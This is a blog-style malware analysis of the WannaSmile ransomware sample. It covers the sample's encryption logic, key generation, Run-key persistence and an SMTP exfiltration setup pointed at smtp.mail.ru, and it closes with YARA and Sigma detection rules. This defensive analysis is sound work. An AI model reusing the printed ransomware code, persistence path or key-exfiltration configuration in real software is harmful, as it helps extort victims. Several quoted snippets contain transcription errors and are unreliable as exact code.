Summary

#

Ransomware is a form of malware leveraged by cybercriminals to extort money from their victims. This malware will encrypt files and appends its own custom extension to inform the user that the file has been infected. Once this phase has finished, a ransomnote will either appear on the desktop (or subsequent file structures), be provided to the victim via a popup, or the desktop wallpaper. This note will contain the instructions for payment of the ransom.

Like other variants of ransomware, WannaSmile encrypts files and appends its own extension to filenames on completion. In this instance, .wannasmile is placed at the end of the file. Once all files have been encrypted, a ransomnote is displayed to the user in the form of a pop-up. Interestingly, this sample does not appear to have any obfuscation. The code is largely legible! Classes and functions can be read using dnSpy to understand the capabilities of this type of ransomware. This blog will discuss the functions of this ransomware, persistence mechanisms and provide YARA signatures for this strand of malware.

This sample was sourced from VirusTotal. The following analysis was completed by leveraging the tool dnSpy.

Hash Values

#

Key Assumptions

#

The key pieces of information I want to extract from this analysis are as follows:

• What behaviours are present in the executable?
• How does it encrypt files and folders?
  • Are there any exclusions to encryption?
  • Can we figure out how the information is being encrypted? If so, can we write an extractor for this?
• What tactics and techniques are used by this malware?
• What host and network indicators are there that we can leverage to build detections?

Initial Analysis

#

Now that we have a clear line of inquiry for our analysis, we can start to answer these questions. I initially opened this executable using dnSpy to understand whether there was any obfuscation present in the code, if there was, see whether I could rewrite classes and functions so they made more sense, and where there wasn’t, read the code to get a high-level understanding of the classes and functions of this malware.

In this instance, the code was in plaintext - no obfuscation was present in the code. The code was broken into a few interesting classes:

• Crypto
• WannaSmile
• WannaSmile.properties

The first class in the list seemed to immediately address one of our key assumptions, so I started my analysis here. Hopeful that it contained some information about the encryption and decryption processes as well!

Encryption & Decryption

#

From the initial analysis in dnSpy, there was a segment within the binary entitled Crypto. Unsurprisingly, this contained all the Encryption and Decryption components for this executable. Interestingly, as per the rest of the binary, all the information here lacks obfuscation.

As encryption occurs, the program explicitly skips the encryption of programs with .exe, .ini, .wns and .wannasmile extensions.

if (!text2.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) && !text2.EndsWith(".ini", StringComparison.OrdinalIgnoreCase) && !text2.EndsWith(".wns", StringComparison.OrdinalIgnoreCase) && !text2.EndsWith(".wannasmile", StringComparison.OrdinalIgnoreCase)

Where the extension does not equal the above exclusions, the binary then encrypts the file with the AES_Encrypt method and appends the .wannasmile extension to the filename.

GeneratePassword Method

#

public static string GeneratePassword(bool includeLowercase = true, bool includeUppercase = true, bool includeNumeric = true, bool includeSpecial = true, bool includeSpaces = false, int lengthOfPassword =32)

Whilst the code segment supports a maximum of 128 characters for the length of the password, the value 32 in the GeneratePassword function is hardcoded into this, which means that our decryption key should be inline with this. Likewise, is true of the other pieces of information stored here. The password will include:

• Lowercase characters
• Uppercase characters
• Numeric characters
• Special characters
• And no spaces

The parameters listed above are defined in the preamble of the function, followed by the actual password generation

char[] array = new char[lengthOfPassword];     // we know this value is 32
int length = text.Length;                      
// text = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYX!#$*@"
Random random = new Random();
for (int = 0; i < lengthofPassword; i++)       
// generate a random character until the length of password is reached
{
	array[i] = text[random.Next(length - 1)];
	// if the preceeding character is the same as the current
	// then decrement i and redo loop
	if (i > 2 && array[i] == array[i -1] && array[i - 1] == array[i - 2])
	{
		i--;
	}
}
return string.John<char>(null, array);

There is a misconfiguration in this binary where the SMTP email address recipients have not been included in this sample. Where this was correctly configured, this value would be sent back to the Command and Control infrastructure hosted by mail.ru to ensure that the Threat Actor held a copy of the password. This would allow them to deliver it to the victim company on payment of the ransom.

Dynamic Analysis: Understanding Behaviour

#

The following action was performed within the context of a virtualised environment that was not connected to the internet. I loaded the binary and executed it on my virtualised Windows system to see how the ransomware impacted the endpoint.

Progressively, files started being encrypted on the desktop. The extension .wannasmile was appended to each of the eligible files on the system. Once this component was completed, a registry key was created and 2 files were placed within the %APPDATA%\Roaming directory of the user I executed the binary.

Once this popup is displayed to the user, the entire file system has been encrypted (except for our exclusions as listed above).

As the program runs, it installs persistence via the Windows registry:

SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Template Manager

As this is placed in the Run key, this will force the executable manager.exe to run each time the user logs into the machine.

Alongside this, a file called data.wnns was created. This file contains 3 values inside it.

The third value matches the arguments within the password creation function in the executable. If this value is placed into the “Enter Secret Decrypt Key” section, it is accepted as the proper key! This enables you to unencrypt all files previously impacted by this strand of ransomware.

Once the button is pressed, the following message is displayed (which is also visible in our code):

When this operation has completed, all the .wannasmile extensions have been removed from the endpoint and the file’s contents decrypted. Another message box pops up, informing the user that decryption has completed. Interestingly, this process does not remove the persistence mechanisms placed by the ransomware.

Data Exfiltration over SMTP

#

new SmtpClient
{
	Port = 587,
	DeliveryMethod = SmtpDeliveryMethod.Network,
	Host = "smtp.mail.ru",
	EnableSsl = true, 
	UseDefaultCredentials = false	
}

Whilst this is present within the program, there does not appear to be additional information about what email addresses the victim must send their bitcoin to. By the same token, there is no email address present in the text box for the ransom note.

In this instance of the file, it looks like there was a misconfiguration by the author, where the email addresses were not included within the config. As per the screenshot above, the contact email address does not render, leaving the victim unable to contact the threat actor in the event a ransom was to be paid.

MITRE ATT&CK

#

Host and Network Indicators

#

This section of the analysis contains all the collected host and network indicators in a nice, neat little summary table so you can easily extract and create alternative rules to the ones created below.

Host Indicators

#

Network Indicators

#

Analysis established the presence of SMTP data exfiltration over SMTP on port 587. There is more work to complete here to figure out whether email addresses can be extracted from memory from this executable, thus potentially providing us with a list of threat actor addresses that the bitcoin would be sent to.

Signatures

#

YARA

#

The following rule has been designed to capture key IOCs from analysis of WannaSmile.

rule wannasmile_9a86d960edeed0b001bd4590821714b95d10995672c674ea72f180fcb415b812
{
	meta:
		author = "polaryse"
		reference = "https://polaryse.github.io/posts/wannasmile/"
		description = "YARA rule to detect execution of WannaSmile ransomware binary"
		date = "2023-06-07"
		sha256 = "9a86d960edeed0b001bd4590821714b95d10995672c674ea72f180fcb415b812"
	
	strings: 
		$registry_path = {7E BD 00 00 0A 72 17 15 00 70 17 6F BE 00 00 0A 0A}
		$registry_value_template_manager = {06 72 73 15 00 70 6F BF 00 00 0A 2D 1O}
		$registry_value_check = {72 73 15 00 70 6F BF 00 00 0A 2C 0B}
		$wannasmile_file_extension = {11 06 72 D3 0C 00 70 28 31 00 00 0A 0B}
		$unique_exception_whithespace = {72 51 14 00 70 72 47 14 00 70 73 A8 00 00 0A 7A}
		$data_path = {72 2B 13 00 70}
		$binary_persistence_path = {72 7F 13 00 70 28 97 00 00 0A 2A}

	condition:
		($registry_path and $registry_value_template_manager) or $registry_value_check or $wannasmile_file_extension or $unique_exception_whithespace or $data_path or $binary_persistence_path

}

SIGMA

#

This rule specifically targets the creation of the registry artefact present in the WannaSmile execution process.

title: WannaSmile Registry Activity

status: test
description: Detects the registry key used by WannaSmile as a form of persistence
author: polaryse
date: 2023/06/01
modified: 2023/06/07
tags:
	- attack.persistence
	- attack.t1547.001

logsource:
	category: registry_event
	product: windows

detection:
	selection:
		TargetObject: 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Template Manager'
	condition: selection
level: high

Lessons Learned

#

This was a fascinating binary to walk through. As this was my first attempt at ransomware, it was really nice to not have to worry about the obfuscation aspect of analysis here. I could delve into the code and understand the flow of each function, with relative assurance that I hadn’t mucked up aspects of renaming variables or spending needless time analysing garbage functions (part and parcel of obfuscated analysis).

Spending the time to detonate the binary in my environment to confirm my understanding gleaned from static analysis was also great. I had lovely little victory dances when I could see persistence mechanisms and files that were dropped by the binary present on disk.